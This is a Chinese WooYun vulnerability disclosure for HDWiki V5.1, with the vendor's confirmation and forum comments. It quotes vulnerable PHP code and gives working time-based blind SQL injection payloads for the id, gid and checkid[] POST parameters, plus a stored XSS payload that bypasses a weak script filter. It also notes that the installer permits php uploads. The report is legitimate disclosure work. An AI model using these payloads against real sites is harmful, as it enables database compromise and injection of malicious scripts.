当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-012030

漏洞标题:HDWiKi V5.1 盲注及xss

相关厂商:互动在线(北京)科技有限公司

漏洞作者: yy520

提交时间:2012-09-11 11:18

修复时间:2012-10-26 11:19

公开时间:2012-10-26 11:19

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-11: 细节已通知厂商并且等待厂商处理中
2012-09-11: 厂商已经确认,细节仅向厂商公开
2012-09-14: 细节向第三方安全合作伙伴开放
2012-11-05: 细节向核心白帽子及相关领域专家公开
2012-11-15: 细节向普通白帽子公开
2012-11-25: 细节向实习白帽子公开
2012-10-26: 细节向公众公开

简要描述:

HDWiki 在经过前面的大牛洗礼之后,变得越来越安全了,小菜我也只能找到几个盲注和xss而已
PS:求别忽略
PSS:漏洞是自己的,rank是剑心的,所以.....你懂得 ~。~

详细说明:

在经过前面的大牛洗礼之后,变得越来越安全了,get被不分青红皂白的过滤掉一堆关键字,get注入几乎是不大可能的了,所以我只找了post
1

control/user.php
177 function doaegis(){
178 $id=$this->post['id']; //vulnerable
179 if(empty($id)){
180 $this->message(-1,'',2);
181 }
182 if($_ENV["comment"]->is_in_cookie('aegis',$id)){
183 $this->message(-2,'',2);
184 }
185 $_ENV["comment"]->update_field('aegis',1,$id,0);
186 $this->message($id,'',2);
187 }

model/comment.class.php
56 function update_field($field,$value,$id,$type=1){
57 if($type){
58 $sql="UPDATE ".DB_TABLEPRE."comment SET $field='$value' WHERE id= $id ";
59 }else{
60 $sql="UPDATE ".DB_TABLEPRE."comment SET $field=$field+$value WHERE id= $id ";
61 }
62 $this->db->query($sql);
63 }


提交id=1 and if(substr((select 1),1,1)=1,sleep(10),1)
实现盲注
2

189    function dooppose(){
190 $id=$this->post['id']; //vulnerable
191 if(empty($id)){
192 $this->message(-1,'',2);
193 }
194 if($_ENV["comment"]->is_in_cookie('oppose',$id)){
195 $this->message(-2,'',2);
196 }
197 $_ENV["comment"]->update_field('oppose',1,$id,0);
198 $this->message($id,'',2);
199 }


同上
3

control/gift.php
51 function doapply(){
52 /*获取用户提交参数*/
53 $gid =$this->post['gid']; //礼品id //vulnerable
…..................
61
62 $gift=$_ENV['gift']->get($gid);//当前礼品
model/gift.class.php
46 function get($id){
47 return $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."gift WHERE id =".$id);
48 }


提交gid=1 and if(substr((select 1),1,1)=1,benchmark(1000000000,md5(534534)),1)
4

control/doc.php
1021 function dodelsave(){
1022 $aid=isset($this->get[2])?$this->get[2]:'';
1023 if(empty($aid)){
1024 $aid=$this->post['checkid']; //vulnerable
1025 $num=count($aid);
1026 if($num>0){
1027 $aids='';
1028 for($i=0;$i<$num;$i++){
1029 $aids.=$aid[$i].',';
1030 }
1031 $aids=substr($aids,0,-1);
1032 $_ENV['doc']->del_autosave($aids);
model/doc.class.php
88 function del_autosave($aid,$uid='',$did=''){
89 if($aid != ''){
90 $sql="DELETE FROM ".DB_TABLEPRE."autosave WHERE aid in ($aid)";
91 }elseif($uid!='' && $did!=''){
92 $sql="DELETE FROM ".DB_TABLEPRE."autosave WHERE uid = '$uid' AND did = '$did'";
93 }else{
94 return false;
95 }
96 return $this->db->query($sql);
97 }


checkid[]=1) or if(substr((select 1),1,1)=1,benchmark(1000000000,md5(534534)),1
5

control/user.php
166 function doremove(){
167 $messageids = '';
168 if($this->get[2]=='single'){
169 $alltype = array(1,2,3);
170 if(is_numeric($this->post['id']) && in_array($this->post['type'], $alltype)){
171 $_ENV['pms']->update_pms($this->post['id'],$this->post['type']);
172 }
173 }else{
174 $removeid = $this->post['checkid']; //vulnerable
175 $num = count($removeid);
176 $allowlist = array('inbox', 'outbox', 'drafts');
177 if(is_array($removeid) && $num>=1 && in_array($this->get[3], $allowlist)){
178 switch ($this->get[3]){
179 case inbox:
180 $type = 1;
181 break;
182 case outbox:
183 $type = 2;
184 break;
185 case drafts:
186 $type = 3;
187 break;
188 }
189 for($i=0; $i<$num; $i++){
190 $messageids .= $removeid[$i].',';
191 }
192 $messageids = substr($messageids, 0, -1);
193 $result = $_ENV['pms']->update_pms($messageids, $type);
model/pms.class.php
127 function update_pms($messageids,$type){
128 $id = strpos($messageids , ',') ? substr($messageids, 0, strpos($messageids, ',')) : $messageids;
129 $pms = $this->get_pms($id);
130 if($pms['delstatus'] == $type || $type == 3){
131 $result=$this->remove($messageids);
132 }else{
133 $type = ($type == 2) ? 1 : 2;
134 $result=$this->db->query("UPDATE ".DB_TABLEPRE."pms SET delstatus='$type' WHERE id in ($messageids)");
135 }
136 return $result;
137 }
139 function remove($messageids){
140 return($this->db->query("DELETE FROM ".DB_TABLEPRE."pms WHERE id in ($messageids)"));
141 }


同上
XSS
编辑词条 正文过滤不严
源代码编辑 插入 <img onerror="alert(/yy520/)" src="yy520.jpg" />
index.php?doc-view-51

$doc['content'] = string::stripscript($_ENV['doc']->replace_danger_word($this->post['content']));
227 function stripscript($string){
228 $pregfind=array("/<script.*>.*<\/script>/siU",'/on(mousewheel|mouseover|click|load|onload|submit|focus|blur)="[^"]*"/i');
229 $pregreplace=array('','',);
230 $string=preg_replace($pregfind,$pregreplace,$string);
231 return $string;
232 }


正文内容去敏感词 再去关键危险标签 可惜过滤不严
上传的一点小问题
./install/install.php:578: ('attachment_type', 'jpg|jpeg|bmp|gif|png|gz|bz2|zip|rar|doc|ppt|mp3|xls|txt|swf|flv|php|pdf'),
安装的时候把 php 也加到了可上传文件格式中,默认没开始上传附件,危害也不算大,就是看起来有点不顺眼而已

漏洞证明:

修复方案:

:)

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-09-11 13:44

厂商回复:

已经安排检查修复,非常感谢。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-09-11 11:36 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    为嘛rank是剑心的

  2. 2012-09-11 12:25 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    @xsser 反正都是你在管

  3. 2012-09-11 14:25 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    乌云真是个好地方~~ 让 HDWiKi 变得越来越安全了~

  4. 2012-09-11 15:34 | Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习!)

    @gainover

  5. 2012-09-25 19:28 | 咸鱼 ( 普通白帽子 | Rank:110 漏洞数:20 | 唯一好的是知识,唯一坏的是无知)

    @yy520 哥们你扣扣多少呀 太棒了

  6. 2012-09-26 00:49 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    @咸鱼 ??? 什么情况

  7. 2012-09-26 17:17 | 咸鱼 ( 普通白帽子 | Rank:110 漏洞数:20 | 唯一好的是知识,唯一坏的是无知)

    @yy520 想加下你的QQ哦